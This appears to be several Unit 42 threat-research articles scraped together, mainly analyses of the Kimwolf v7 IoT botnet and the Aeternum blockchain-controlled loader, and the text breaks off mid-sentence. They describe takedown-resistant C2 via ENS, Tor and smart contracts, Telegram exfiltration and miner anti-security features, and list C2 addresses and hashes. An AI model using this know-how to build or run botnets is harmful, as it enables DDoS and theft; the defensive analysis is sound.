disable unused accounts to limit the attack surface. Update and patch: Ensure you have the latest software versions and patches installed to mitigate known vulnerabilities, including local privilege escalation vulnerabilities. The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk. We continue to monitor our threat landscape for this and other identity-based attacks. We encourage customers to implement the hunting and hardening recommendations to identify, mitigate, and prevent credential attacks against their networks. Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members, including Fortinet. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Palo Alto Networks customers are better protected by our products, as listed below. We will update this threat brief as more relevant information becomes available. Palo Alto Networks customers can leverage a variety of product protections and consulting services to identify and defend against this threat. If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Deep and Darkweb Monitoring Unit 42's Deep and Dark Web (DDW) monitoring is a service that assists clients in identifying sensitive information and leaked credentials that surface on the dark web, providing critical insights to reduce risk exposure and reduce the time between detection and response. Cortex Cloud Cortex Cloud Identity Security encompasses Cloud Infrastructure Entitlement Management (CIEM), Identity Security Posture Management (ISPM), Data Access Governance (DAG) as well as Identity Threat Detection and Response (ITDR) and provides clients with the necessary capabilities to improve their identity related security requirements. By providing visibility into cloud based identities, and their permissions, Cortex Cloud can detect misconfigurations, unwanted access to sensitive data and real-time analysis surrounding usage and access patterns. Additionally, Cortex Cloud provides protections against credentials that were compromised, lost or exposed being leveraged against cloud resources, such as those discussed within this article. Idira Identity Threat Protection Idira Identity Threat Protection enables security teams to counter identity-based attacks targeting Idira Next Generation Identity (NGI) Platform and the identities it secures. Using near real-time detection, powered by CORA AI, and leveraging Idira’s visibility across multiple contexts (like PAM, authentication, SSO, cloud, endpoints, browsers, and more), Idira ITP can apply automated, tailored non-disruptive in-session response to contain and minimize potential identity-based threats. Idira Multi-Factor Authentication Idira Multi-Factor Authentication helps protect organizations against password spraying, credential theft, and other identity-based attacks by verifying that the person signing in is the legitimate user, not just someone with a valid password. Using phishing-resistant MFA, including passkeys, biometrics, and FIDO2 security keys, along with adaptive, risk-based authentication, Idira evaluates signals such as device trust, location, and login behavior. When risk is detected, it requires additional verification before granting access, helping prevent account compromise while keeping access simple for trusted users. Idira Privileged Access Management Idira Privileged Access Management is a SaaS-delivered Privileged Access Management (PAM) solution that mitigates credential compromise and password spraying by prioritizing automated discovery, onboarding, and rotation. The platform continuously scans hybrid environments and infrastructure to detect unmanaged local, domain, service accounts and cloud roles. Discovered credentials are automatically onboarded into a hardened digital vault for centralized management. Privilege Cloud then enforces programmatic transactional credential rotation using complex, randomized strings. This eliminates the static, predictable passwords exploited during spraying attacks, removing standing privileges and blocking lateral movement across the network infrastructure and devices. Analysis of Reported Credential Compromise of Fortigate Devices — Fortinet FortiBleed Breach: How 80,000+ Corporate Firewalls Were Quietly Compromised — SOCRadar What is Zero Trust Network Access (ZTNA)? — Palo Alto Networks Next-Generation Firewall: Multi-Factor Authentication— Palo Alto Networks, Tech Docs Administrative Access Best Practices - Palo Alto Networks, Tech Docs Panorama Administrator's Guide: Configure Panorama Password Profiles — Palo Alto Networks, Tech Docs Social media post about TheHatman — LinkedIn, Palo Alto Networks Unit 42 What is Zero Trust Network Access (ZTNA)? — Palo Alto Networks Updated June 26, 2026 at 1:00 p.m. PT to add product protection for Idira Security and Cortex Cloud, and more information to the hardening guidelines section. Updated August 18, 2026 at 1:30 p.m. PT to add information about TheHatman attack.

We are providing a content warning because the following article contains usage of a racial slur by a threat actor, which Unit 42 does not condone in any instance. We have partially redacted the racial slur, but preserved some references to it in order to provide researchers with the ability to identify it and check IoCs as needed. We identified a new version (v7) of the Kimwolf Android/internet-of-things (IoT) botnet. This version upgrades its distributed denial-of-service (DDoS) attack capabilities and the resilience of its command-and-control (C2) infrastructure. Kimwolf primarily affects Android TV boxes and set-top boxes. Kimwolf v7 adds an HTTP/2-based DDoS flood that constructs complete browser fingerprints. This makes attack traffic more difficult to distinguish from legitimate browsing. The threat’s binary includes five hard-coded public Ethereum-based endpoints for resolving Ethereum Name Service (ENS) domains. ENS is a blockchain-based naming system used to obtain C2 addresses. Kimwolf also carries a hard-coded Tor .onion hidden service as a backup and a local proxy architecture for flexible routing between clearnet and Tor. The malware developers added this function to directly respond to C2 server takedown efforts in December 2025. We discovered this variant on Feb. 3, 2026, through threat hunting that followed public disclosures by XLab, Synthient, Infoblox, Cloudflare and others. Palo Alto Networks customers are better protected through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. The Kimwolf botnet (also tracked as AISURU) has been active since August 2024. It initially targeted Linux IoT devices under the AISURU name. The botnet transitioned to Android TV boxes around August 2025. This reflects two separate codebases under the same operators. AISURU covers the Linux IoT variants, and Kimwolf covers variants targeting Android. Kimwolf spreads by misusing residential proxy services to reach unauthenticated Android Debug Bridge (ADB) instances on local networks. Some Android TV boxes ship with ADB enabled on port 5555. Once attackers tunnel through a proxy endpoint into the local network, they can install the malware without any authentication. The Kimwolf sample we analyzed as a baseline is a statically linked ARM Executable and Linkable Format (ELF) binary. The file was compiled with the Android Native Development Kit (NDK) using Clang and uses Bionic libc. It statically links BoringSSL for Transport Layer Security (TLS) operations and nghttp2 for HTTP/2 functionality. The binary is stripped but retains some symbol information. It is not uncommon for malware authors to use racial slurs in their code. The Kimwolf malware family has historically included racial slurs. In our discussion of the v7 variant, we have partially redacted these slurs, but have left enough information present that defenders could identify the variant and check for IoCs. Previous Kimwolf builds used the internal version strings such as n[redacted]boxv4 and n[redacted]boxv5, establishing the naming pattern for the family. The version string n[redacted]boxv7, shown in Figure 1, identifies this sample as version 7. The binary creates a Unix domain socket @n[redacted]boxv7 to ensure only one instance runs at a time. On execution, the malware masks its process name as netd_service to blend in with legitimate Android system processes. We identified six ELF samples that we clustered together based on multiple indicators: They share an identical ELF section layout produced by a common Android NDK build environment, and the same hard-coded set of Ethereum remote procedure call (RPC) endpoints Overlapping C2 infrastructure within the same hosting provider Consistent process-name masquerading behavior One of the most notable new capabilities in Kimwolf v7 is an HTTP/2 flood powered by the nghttp2 library. The function that performs the attack_case17_http2_flood constructs complete browser fingerprints. This makes the flood traffic difficult to distinguish from legitimate browser requests. Figure 2 shows the header construction logic in the decompiled binary. Kimwolf v7 uses a layered C2 resolution system designed to survive the domain takedowns that disrupted the botnet twice in December 2025. This isn't the last time operation of this malware faced disruption. On March 19, 2026, the U.S. Justice Department and international partners announced a court-authorized operation that seized C2 infrastructure used by the Aisuru, KimWolf, JackSkid and Mossad botnets. The binary contains five hard-coded public Ethereum RPC endpoints stored in plaintext, shown in Figure 3: hxxps[:]//0xrpc[.]io/eth hxxps[:]//eth.llamarpc[.]com hxxps[:]//ethereum-rpc.publicnode[.]com hxxps[:]//eth-protect.rpc.blxrbdn[.]com hxxps[:]//eth.merkle[.]io These endpoints are legitimate public Ethereum RPC services. The malware misuses them to query ENS domain records and resolve C2 addresses. Organizations should monitor for unusual Ethereum RPC traffic from IoT and Android devices rather than blocking these endpoints outright. The malware shuffles these endpoints using a pseudo-random number generator (PRNG) before each resolution attempt. The five-way redundancy makes blocking ENS-based C2 resolution harder. While the five public RPC endpoints in the baseline binary are third-party services, our infrastructure investigation identified a sixth endpoint that we assess with moderate confidence to be under the operator's control: eth[.]rpcuniverse[.]com. Several properties distinguish it from the legitimate providers: The legitimate endpoints are established services with significant traffic and resolve to multiple anycast IP addresses across major cloud delivery network (CDN) and cloud providers They have apex domains registered between 2005 and 2022 The rpcuniverse[.]com domain has no global traffic ranking - It resolves to a single IP address on a low-cost virtual private server (VPS) that was registered on Dec. 12, 2023 - Its TLS certificate first appeared on the hosting IP address days later - Reverse passive DNS shows the IP address hosts only rpcuniverse[.]com subdomains with no other tenants Two Kimwolf samples hardcode eth[.]rpcuniverse[.]com as an additional RPC endpoint alongside the five legitimate providers - Both ELF and Android APK variants contact the hosting IP address directly - We did not observe this direct-to-IP address contact pattern with any of the legitimate RPC endpoints We cannot confirm domain ownership. However, the dedicated single-tenant hosting, the timing of its registration relative to Kimwolf activity and its exclusive presence in Kimwolf binaries suggest it is an operator-controlled facade rather than a public service. When ENS resolution fails, the v7 binary falls back to a hard-coded v3 Tor .onion address (edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd[.]onion). Figure 4 shows the hard-coded address in the binary. A function (tor_proxy_state_machine) manages the protocol states. To do this, it performs the following activities: Sending the greeting (0x05 0x01 0x00) Building a CONNECT request with domain type 0x03 and the 62-byte .onion address Waiting for the response and performing a TLS handshake over the tunnel Figure 5 shows the greeting and TLS handshake states. Additionally, it uses a local proxy architecture. All C2 traffic routes through a local proxy at 127.0.0[.]1:23075 shown in Figure 6, regardless of whether it is destined for clearnet or Tor. This modular design allows the proxy component to be updated independently from the main bot binary. Analysis of Kimwolf v7 samples revealed C2 connections to several IP addresses, including: 212.193.31[.]119 and 212.193.31[.]122 on TCP port 13 212.193.31[.]92 and 212.193.31[.]158 on TCP port 443 None of these IP addresses had prior indicators of malicious activity or associations with public threat intelligence. During infrastructure analysis, we observed that these hosts presented the same SSH host key. Pivoting on that shared key revealed 22 total IP addresses within the same range, presenting the identical key between Dec. 18, 2025, and Feb. 3, 2026. No hosts outside this range shared the key. IP address 212.193.31[.]102 was the first host observed with this key on Dec. 18, 2025, and it was the seed from which the configuration propagated. The remaining 21 hosts appeared over the following six weeks, with the last addition on Jan. 31, 2026. All 22 hosts reside in AS202799, geolocated to Saint Petersburg, Russia. Kimwolf implements a dedicated high-performance UDP flood function that uses a Xorshift256 PRNG seeded from /dev/urandom. It (prng_seed_from_urandom) reads 32 bytes (four 64-bit state words) to initialize the full 256-bit state. A SplitMix64 fallback initializer activates if /dev/urandom is unavailable. The flood function accelerates IP/UDP checksum computation with ARM NEON single instruction, multiple data (SIMD) instructions. The vectorized checksum loop processes four 16-bit halfwords simultaneously using VLD1.16, VADDW.U16 and VADD.I32 instructions. This optimization is tailored for the ARM processors found in Android TV boxes. It reduces per-packet checksum overhead to maximize throughput. Figure 7 shows the NEON SIMD instructions in the disassembled binary. The dispatch table supports 15 DDoS methods across Layers 3–7 of the Open Systems Interconnection (OSI) model. Cases 8, 11 and 13 are absent from the switch statement, suggesting they are either reserved for future use or were removed during consolidation from the 43 text-named methods in prior versions. Table 1 lists all 15 attack methods. Table 1. Kimwolf v7 DDoS attack methods. In Kimwolf v7, malware authors consolidated the attack count to 15 numbered methods. They removed all scanning, exploitation and brute-force functionality. The new additions target: DDoS stealth through HTTP/2 with browser fingerprinting C2 resilience through ENS, Tor and the local proxy The removal of the scanner and exploit modules suggests the operators have separated the propagation pipeline from the DDoS bot. External loaders now handle initial access while the Kimwolf binary handles attacks and proxy relay. The earliest dropped sample, targeting the x86 architecture with a Dirty COW exploit, suggests the family evolved from traditional Linux exploitation toward the current ADB-based Android propagation model. The transition from libn[redacted]kernel.so to the less conspicuous libdevice.so filename in November 2025, followed by a revert in December, indicates active operational security adjustments. Alongside the standalone ELF payloads, the Kimwolf operators distribute Android APK packages that bundle an ELF kernel payload inside a Java wrapper. We identified eight APK samples spanning October through December 2025, all sharing the component class systemservice0644.N[redacted]Kernel. These APKs masquerade as a system service called SystemService. On execution, they probe for root access and execute the embedded ELF kernel with commands shown below in Figure 8. The earliest build (October 2025) used the com. Android prefix and bundled three kernel variants in a single APK. By late October, the package name shifted to com.n2.systemservice0644, and the kernel was consolidated to a single binary. In November, the kernel filename changed from libn[redacted]kernel.so to libdevice.so, then reverted in the December builds. Three signing certificates appear across the cluster: The original Kimwolf APK certificate (C=CN, CN=a) used by the com.android.logcatd variants An Android Debug certificate used during development A self-signed certificate with subject C=XK, ST=lol, L=lol, O=lol, OU=lol, CN=lol (country code XK for Kosovo, all other fields set to lol) used by five of the eight N[redacted]Kernel APK files The APK wrapper drops one of three ELF kernel payloads, depending on the build. These are listed in Table 2. Table 2. Dropped ELF kernel payloads. The earliest sample (first seen Sept. 2, 2025) is notable for two reasons: It targets x86 architecture rather than ARM - This indicates that the botnet originally targeted x86 Linux systems before pivoting to ARM-based IoT and Android devices It drops a file named libcow.so, and renames its process to inetd to blend in with Unix network services - The name libcow.so is likely a reference to the Dirty COW privilege escalation vulnerability (CVE-2016-5195) The libdevice.so sample renames its process to TVHelper, which explicitly targets Android TV set-top boxes by mimicking a legitimate TV helper service. Neither the libn[redacted]kernel.so nor libdevice.so kernels embed the Ethereum RPC endpoints found in the standalone ELF builds. The C2 resolution layer resides in the outer APK wrapper or the standalone ELF binary, while the kernel handles lower-level bot operations. Kimwolf v7 is a focused evolution of an already large-scale botnet. The HTTP/2 flood with Chrome browser fingerprinting complicates application-layer DDoS mitigation, as attack traffic now mirrors legitimate browser behavior at the protocol and header level. The three-tier C2 system (Ethereum ENS, Tor .onion, local proxy) indicates that the operators are investing in infrastructure built to withstand takedown operations. Organizations should monitor for the following behavioral indicators of Kimwolf compromise on IoT and Android devices: Outbound HTTPS connections to public Ethereum RPC endpoints (e.g., 0xrpc[.]io) from devices that typically do not interact with blockchain services Tor circuit establishment or SOCKS5 proxy traffic from Android TV boxes or IoT devices Connections to port 23075 on localhost A process named netd_service running on consumer Android devices Organizations should treat Android TV boxes as untrusted and segment them from enterprise networks. Disabling ADB or restricting it to USB-only access removes the primary propagation vector for this botnet. Palo Alto Networks customers are better protected through the following products and services: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research, Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Device Security is designed to proactively protect the entire device attack surface, from IT to IoT and OT, with a unified platform that helps deliver comprehensive visibility, actionable risk insights and adaptive security enforcement. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. SHA256 hash: 406647de09a0ffa279756b4ccb344b1b76a333320c5b50fd367901fa006cf0ff MD5 hash: d759364844d78a728505fb0485c3adbc File size: 1,720,108 bytes File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf v7 bot payload (baseline analyzed sample); version string n[recacted]boxv7 SHA256 hash: 345222bca004595977f971d76900b0c65fd9bf9d91c50cd0c5bf5a93f1ad9e49 MD5 hash: 036bcb62be72c4663b9564955f93b05f File size: 1,712,624 bytes File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf v7 bot payload SHA256 hash: 2ec2e85b0358e0c681cb5067489a9086ec97dbbf7e3c952dd9cd496b319d5af5 MD5 hash: 33faca1e0090f6b12eff703daf4606e4 File size: 1,720,108 bytes File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf v7 bot payload; hard codes eth.rpcuniverse[.]com in the binary SHA256 hash: 951c94809aa6c7ab587125f9d4df30fa6a49ee0cbba76a4b7ceedaaa0e5dcd36 File type: Android APK Package name: com.android.logcatd File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf Android variant; masquerades as system logcat daemon; includes TorService and BootReceiver persistence; contacts 23.94.221[.]104 SHA256 hash: f07821e313c16cbbd82def45094a22c8d474164051bdbc7648d6869e012014b4 File type: Android APK Package name: com.android.logcatd File type: ELF 32-bit LSB executable, ARM, statically linked, stripped File description: Kimwolf Android variant; sibling of the above, same signing certificate and package; contacts 23.94.221[.]104 VHash: 76554ad09897ac723a850eaf8c525efa Description: Structural hash shared by the three Kimwolf v7 ELF samples (5 total matches across VirusTotal) APK signing certificate (SHA-1 thumbprint): 2a1d96f1b066877812587ac94f45f82dfff5f5f9 Subject: C=CN, CN=a Description: Self-signed certificate used to sign both Kimwolf Android samples TLS certificate (SHA256 hash): f3e8a55a2a3ea7c7b6676e90f4f49a2c55b13065b68ee50c51cc35fe2b5c3237 Issuer: Let's Encrypt Description: Certificate issued for eth.rpcuniverse[.]com, observed on 23.94.221[.]104 between Dec. 13, 2023, and March 12, 2024 Domain: rpcuniverse[.]com Description: Multi-chain RPC service; apex registered Dec. 9, 2023 (Namecheap); resolves to 23.94.221[.]104; hard-coded subdomain present in Kimwolf sample Domain: eth.rpcuniverse[.]com Description: RPC subdomain hard-coded in Kimwolf sample 2ec2e85b... Domain: avax.rpcuniverse[.]com Description: RPC subdomain resolving to 23.94.221[.]104 IP address: 23.94.221[.]104 Description: Operator host (AS36352 RackNerd, Dallas); hosts rpcuniverse[.]com; contacted by Kimwolf ELF and APK samplesng IP address:port: 212.193.31[.]158:443 Description: HTTPS C2 traffic (AS202799 SYSECT, Russia); offline after Jan. 31, 2026 IP address:port: 212.193.31[.]119:13 Description: C2 traffic IP address:port: 212.193.31[.]122:13 Description: C2 traffic IP address: 212.193.31[.]102 Description: C2 host (linked via shared SSH host key with .158 IP address:port: 212.193.31[.]92:443 Description: HTTPS C2 traffic (AS202799 SYSECT, Russia) Tor hidden service: edctgwib2n5l34t525zkxqzk5bqb6e5il2yiq5r6zu7gtlxa4uosn3qd[.]onion Description: v7 hidden-service C2 fallback Kimwolf Botnet Exposed – XLab AISURU Botnet Technical Analysis – XLab A Broken System Fueling Botnets – Synthient Kimwolf Howls from Inside the Enterprise – Infoblox The Kimwolf Botnet is Stalking Your Local Network – KrebsOnSecurity Kimwolf Botnet Lurking in Corporate, Govt Networks – KrebsOnSecurity KIMWOLF V7 IoT BOTNET EVOLUTION - Unit 42 Updated August 13 2026 at 2:00 p.m. PT to add information on the U.S. Justice Department and international partner operation seizing C2 domains used by KimWolf and related botnets.

Aeternum is a recently discovered C++ botnet loader that shifts its command-and-control (C2) infrastructure entirely to the public Polygon blockchain. Instead of relying on centralized servers or domains, threat actors operate Aeternum by writing encrypted and plaintext instructions directly using smart contracts. A smart contract is a self-executing program stored on a blockchain that automatically runs when specific conditions are met. Infected devices continuously query public remote procedure call (RPC) endpoints to retrieve and execute these on-chain commands. The Aeternum botnet uses decentralized networks and evasion techniques, such as virtual machine detection and antivirus scanning, to operate effectively. This combination establishes a highly resilient, low-cost threat that complicates existing law enforcement takedown methods. In this article, we analyze three malware cases linked to the Aeternum botnet: Aeternum’s loader, C2 and downloader communications Related Python-based malware using the Telegram API for C2 A blended threat consisting of XWorm RAT, the XMRig cryptocurrency miner and data exfiltration Palo Alto Networks customers are better protected from the threats discussed in this article through the following products and services: Advanced WildFire Advanced URL Filtering and Advanced DNS Security Next-Generation Firewall with Advanced Threat Prevention Cortex XDR and XSIAM If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. This article builds upon research by the Ctrl-Alt-Intel team on the Aeternum C2 architecture and the loader binary. That previous research primarily focused on host-based activity. This malware advertises itself as Aeternum C2 BotNet Loader, and security researchers call it either Aeternum C2 or Aeternum loader. Our analysis focuses on three malware samples associated with Aeternum activity. Our first sample is the Aeternum loader. SHA256 hash: 5bfb25b8255b61e5ffdf6804451534bcfa9f1dfd225e6c8cdcefb5f50d846898 This Aeternum loader sample is named Build.exe. It is the initial UPX-packed 32-bit portable executable (PE) Windows malware file compiled in C++. Its primary functions are to establish a persistent presence, perform reconnaissance and communicate with the decentralized Polygon blockchain to retrieve encrypted C2 commands. The overall flow of this sample executes in multiple stages: Initial execution and self-unpacking - Build.exe executes a multi-stage self-unpacking sequence Persistence and setup - Creates a folder under the user's AppData\Local directory and copies itself to it - Creates a Windows shortcut under the program menu's Startup directory (Wmi_Framework_APIKEY_wmsnet_ .lnk) to ensure auto-launch upon reboot - Executes supporting binaries (wmiframework.exe, ZrvEsJQzWQ.exe, STAAAAAS.exe) Configuration retrieval and network communications - Deobfuscates global configuration data to produce parameters used to construct network endpoint strings - Sends JSON-RPC requests to Polygon RPC endpoints (decentralized C2 communication) - Queries immutable smart contract addresses using the contract method 0xb68d1809 to retrieve encrypted C2 commands - Decrypts the payload using a weak PBKDF2HMAC/AES-GCM routine Downloader and payload execution - Downloads files as instructed by the C2 server, such as a clean putty.exe and the malicious DotNetZip.dll, from GitHub repositories - Executes the malicious DLL, which uses hard-coded credentials to connect to a Telegram C2 bot (DLLSendC2Bot) Exfiltration - Packages the stolen information for exfiltration over encrypted channels to trusted domains, code-hosting platforms and the Telegram API The pattern of encryption keys for the Aeternum loader (i.e., \x00\x00\x00[ENC bytes]\x00[KEY bytes]\x00\x00\x00) consists of: Three null bytes followed by the encrypted payload bytes A null byte, followed by the key bytes Three null bytes Since the pattern is known, a script can identify the different number of occurrences along with its offsets. When found, we can then use the key to deobfuscate the hidden information. Figure 1 shows two examples of the decryption process against two different obfuscated string matches and their deobfuscated values. These values consist of the JSON object strings used for HTTP-based C2 communication during the execution of the malware and its subsequent interaction with the Polygon blockchain. Additional deobfuscated strings also include: Polygon RPC endpoints (i.e., hxxps[:]//polygon-mumbai-bor-rpc.publicnode[.]com) File extensions (.e.g, .ps1, .dll, .exe) HTTP header information (i.e., User-Agent) C2 command information (e.g., hwid, args, ping) Smart contract method (i.e., 0xb68d1809) However, we suspect that this particular sample differs from others, since we did not find the smart contract addresses either through deobfuscation or plain-text pattern search. During network analysis, this sample used 22 different smart contract addresses during C2 communications. The full table of deobfuscated strings can be found in the Indicators of Compromise section of this article. The Aeternum loader performed the following activities as part of its downloading and C2 communications: Communicating with the Polygon blockchain network Downloading files from GitHub repositories Interacting with social media via Telegram’s API (api.telegram[.]org) Figure 2 shows an example of the communications traffic filtered in Wireshark. This section explores how Aeternum performed C2 communications on the Polygon blockchain and how it uses different smart contract addresses to retrieve C2 commands. This sample made a JSON-RPC request using HTTP to the Polygon blockchain. Figure 3 shows the TCP stream of an HTTP POST request to the Polygon RPC endpoint, which includes a JSON object with two important fields: to and data. The to field contains the contract address, and the data field contains the Polygon contract's getDomain() method 0xb68d1809. Following the JSON-RPC request, if the RPC response is an HTTP 200 OK, it will include a JSON object containing the result field with its corresponding payload. This is structured with the following byte sequence: Offset (0x20 = 32 bytes) Payload length (0x10a = 266 bytes) Payload (variable values) Padding (variable length) Building on existing research, we observed that Aeternum implements a substandard encryption scheme. Specifically, it uses a self-salting password. The US National Institute of Standards and Technology (NIST) considers a self-salting password a critical cryptographic flaw via predictable salt and public key derivation source, in their remediation standard: NIST SP 800-132. This oversight allows the decryption of the malicious payload by using two known variables: the smart contract address and the payload. The main decryption logic corresponds to the following operations: PBKDF2HMAC (key stretching): This function uses the SHA256 algorithm to repeatedly hash the password, using the password itself as the salt Key derivation: The kdf.derive(password) performs the key derivation. It takes the encoded password and transforms it into a high-entropy 32-byte (256-bit) cryptographic key. Advanced Encryption Standard in Galois/Counter Mode (AES-GCM) initialization: The derived key is used to initialize an AES/GCM object Decryption: The decryption of the ciphertext uses the provided initialization vector (IV) and the payload, resulting in a UTF-8 encoded string We used a custom Python script to automate the decryption process, which expects the two values passed to it: the contract address and the hex-string payload, as mentioned above. Figure 4 shows the results of this script run on an encrypted Aeternum blockchain value. In this case, the decrypted string contains the Aeternum command all:url: , which is a command used to instruct the botnet to proceed and fetch the target file. Although the analyzed sample uses encryption, we found additional samples using plain-text C2 commands, as well as an unknown encrypted payload. The malware download requested two different files, putty.exe and DotNetZip.dll, as Figure 5 below shows. While investigating the malware’s downloader activity, we found requests for file artifacts hosted on GitHub in two different Github projects. Figure 6 shows the malicious DLL in an October 2025 commit from one repository. The hosted putty.exe file is a copy of a legitimate installer for PuTTY version 0.83. The DotNetZip.dll file is a malicious DLL file. While this Aeternum loader sample retrieved legitimate files like PuTTY, this is likely for testing. Attackers could easily swap files in these repositories for malware using the same filename, instantly compromising the safety of anyone who downloads them. After successfully downloading DotNetZip.dll from GitHub and executing it, the malware sample initiated new communications to an endpoint at Telegram’s API (api.telegram[.]org). As a DLL, the malware's entry point DllMain() first checks for a specific condition by comparing fwReason to 1 to confirm it is being called. Then it invokes the CollectAndSendSystemInfo() function, as shown below in Figure 7. This function is in charge of all the information gathering and data exfiltration from the compromised machine. The most notable information about this sample is its lack of obfuscation or encryption, as both the chat_id value (-4991861036) and the bot’s API token (8305917772:AAHAou...) are hard-coded, as Figure 8 shows in the disassembled code. Once the malware has collected all the information, it constructs an HTTP request to exfiltrate the information. The structure of this HTTPS request through the Telegram API follows: HTTP Method - POST (submission of the collected information) Base path and bot token - /bot prefix (required for all Telegram bot API calls) - Concatenated bot API token (8305917772:AAHAou…) API Method (URI path) - /sendDocument (tells Telegram what action the bot should perform. In this case, it is attempting to send a file (e.g., PDF, ZIP) to a chat) Protocol - HTTP/1.1 (indicates the version of the Hypertext Transfer Protocol being used for the communication) HTTP Headers - User-agent (set to SystemInfo Bot/2.0) - Content-Type (set as multipart/form-data with a boundary set as systeminfoboundary) HTTP Request Body - Form-data, containing the names: - chat_id (The unique identifier for the target chat) - caption (Text to accompany the file) - document (The file to be sent, which in this case is a PNG file named screenshot.png) Form-data, containing the names: The content of the exfiltrated information contains different information from the compromised machine, including: CPU RAM Disk GPU Administrator rights check Windows User Account Control (UAC) status Figure 9 shows an exfiltration request revealed using Burp Suite that contains an example of the data collected by the malware sample. The text in the image is in Russian (i.e., ДОПОЛНИТЕЛЬНАЯ ИНФОРМАЦИЯ, which translates to Additional Information) and uses Cyrillic characters, which require specific encodings like UTF-8 to properly decode. SHA256 hash: f2a326cff405299e4ebdfaac955c52fc7e496544eaa0921ecad4816cb3ae3a27 Pivoting on characteristics of the first sample, we found several matches using specific patterns based on the smart contract method function (0xb68d1809). Among these, we identified a 64-bit Windows PE sample that leverages the Aeternum botnet to simultaneously drop an XWorm binary, an XMRig cryptocurrency miner and a data exfiltrator. The sample is named XBinderOutput_protected.exe and written in C/C++. This PE file is a PyInstaller-packed application containing a Python 3.14 script named XBinderOutput_protected_temp.py. The embedded script implements multi-layer cryptographic decryption using ChaCha20, AES-CTR and AES-CBC to recover an encrypted payload. The payload is then written to the temporary directory as esewurmgvbqt.exe and executed with a hidden window. The script includes anti-analysis checks for virtual machine environments and debugger presence. Like the previous sample for Aeternum loader, once executed, this second sample made a JSON-RPC request using HTTP to the Polygon blockchain containing Aeternum’s to and data values. An HTTP 200 OK response was returned as expected, indicating that a command payload was found and its content returned. Figure 10 shows an example of this traffic. This time, the hexadecimal value response is not encrypted but converts directly to plain text. After translating the hexadecimal values to ASCII, we found a Pastebin URL as noted below in Figure 11. This URL contains the /raw/ URI path that is designed to return the data as-is, without any further processing by the service. Thus, the malware has less work to do in terms of parsing or processing the retrieved information. This URL returned configuration data for the XMRig cryptocurrency miner. After the malware retrieved data from the Pastebin URL, it started two binaries it had dropped to the infected host, one for an Xworm client and one for an XMRig cryptocurrency miner. The Pastebin URL returned the XMRig cryptocurrency miner configuration data as a JSON object containing different fields. These fields included mining-based settings such as: Algorithm API-endpoint Max CPU Password Pool Wallet address It also included two behavior-based options: The stealth-target option that enables evasive behavior by blocklisting system monitoring utilities. It triggers a process suspension and its related mining activity upon the execution of diagnostic tools (e.g., Process Hacker) to mask the miner’s footprint and resource consumption. The kill-targets option that implements process termination as a persistence and resource-optimization strategy. It identifies and kills active processes associated with endpoint security software and distributed computing programs to prevent system remediation and ensure maximum CPU allocation for the miner. The associated Pastebin URL occasionally returns different data for the XMRig configuration. Despite these changes, the data structure remains identical. Figure 12 displays an example of the XMRig configuration data seen in June 2026. In addition to the XMRig cryptocurrency miner, the main sample dropped an XWorm client named XWormclient.exe. This filename is the default name used when using the XWorm v7.4 builder, indicating that the author generated and bound it into the malicious package. We extracted the Xworm sample's configuration using CAPE’s community parser for XWorm. This dump of information contains configuration information as shown below in Figure 13, including: Version of the builder (XWorm v7.4) Mutex C2 server IP address Port Key Armed with this information, specifically the C2 server key, C2 communication port and XWorm version values, we tricked the sample into connecting to a controlled instance of the matching XWorm panel version. Figure 14 shows a screenshot of the C2 panel after the XWorm sample connected to our controlled instance. During the final stage of this Aeternum sample's execution, the injected system process starts an information gathering and encryption process. Figure 15 shows an outbound connection HTTP POST request to a C2 server at 193.221.200[.]219 with a custom user-agent (cpp-httplib/0.18.3) and JSON values containing two keys with Base64-encoded values. After further analysis and reverse engineering to understand the meaning of those two keys, we discovered that the uqhash value contains an AES-128 encryption key. We also discovered the data value contains the exfiltrated data in an encrypted blob form. The following section explains the encryption details and the decryption process we followed to reveal the exfiltrated information. The encryption routine takes raw input bytes and pads them with 0x00 until the length is a multiple of 16 bytes. It then derives a fixed 16-byte key by truncating or zero-extending the provided hexadecimal input. The data is processed block-by-block using a 16-byte block cipher in Electronic Code Book (ECB) mode, producing a deterministic ciphertext where each block is independently encrypted. The result is written out without any IV, chaining or authentication, closely matching a typical minimal malware-style encryption wrapper. The encryption routine has the following characteristics: Algorithm used: AES-128 (16-byte block cipher) in ECB mode Key properties: no IV, deterministic output, zero padding (non-standard), identical plaintext blocks → identical ciphertext blocks Context in this test: binary data from a file is padded and encrypted in-place using a fixed 16-byte key derived from CLI hexadecimal input, mimicking a simple malware/configuration protection routine To decrypt the required information, we developed a script to reverse the encryption process identified during our analysis and reverse engineering. This script takes two parameters: The encrypted payload file dump The hexadecimal representation of the Base64-decoded AES-128 key as a single concatenated string Figure 16 shows the execution of the decryption script, which in this case generated a 580-byte data dump. By viewing the contents of the output file, the exfiltrated data is revealed as shown below in Figure 17. Certain behavior (i.e., drop of a .sys file) and network patterns (e.g., URI path, JSON 